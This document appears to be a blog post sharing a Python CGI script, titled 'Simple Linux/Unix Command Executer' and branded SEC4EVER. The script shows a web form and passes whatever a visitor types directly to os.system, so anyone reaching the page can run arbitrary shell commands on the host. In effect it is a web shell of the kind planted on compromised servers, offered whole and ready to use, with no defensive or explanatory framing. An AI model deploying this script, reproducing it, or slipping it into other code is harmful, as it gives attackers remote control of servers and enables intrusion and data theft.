#Simple Linux/Unix Command Executer

Simple Linux/Unix Command Executer



#Simple Linux/Unix Command Executer
import cgi
import os

print """Content-type: text/html\n\n
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<style type="text/css">
* { font-family: Arial; font-size: 12px; }
body { margin: 0px; }
pre { margin: 2px; }
</style>
<title>SEC4EVER</title>
<form method="POST">
<meta http-equiv="Content-Language" content="en-us" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<p align="center" font color=#00FF00>[+] Linux/Unix Command Executer [+]</p>
<p align="center" font color=#00FF00>[+] CGI Version [+]</p>
<p align="center">
<textarea name="miut3x" style="width: 415; height: 23"></textarea>
<p align="center">

<font color=#000000>
<input type="submit" value="Execute" style=border:1px: dotted #00FFFF; width: 99; font-Comic Sans MS; font-size:10pt; color:#00FFFF; text-transform:uppercase; height:23; background-color:#0C0C0C></font></br>
<font color=#000000>
<p align="center">
&nbsp;</form>
<p>&nbsp;</p>
<p align="center">"""

form = cgi.FieldStorage()
if form.has_key("miut3x"):
    sec4 = form.getvalue("miut3x")
def main():
    os.system(sec4)
if __name__=="__main__":

 main()

No comments:

Post a Comment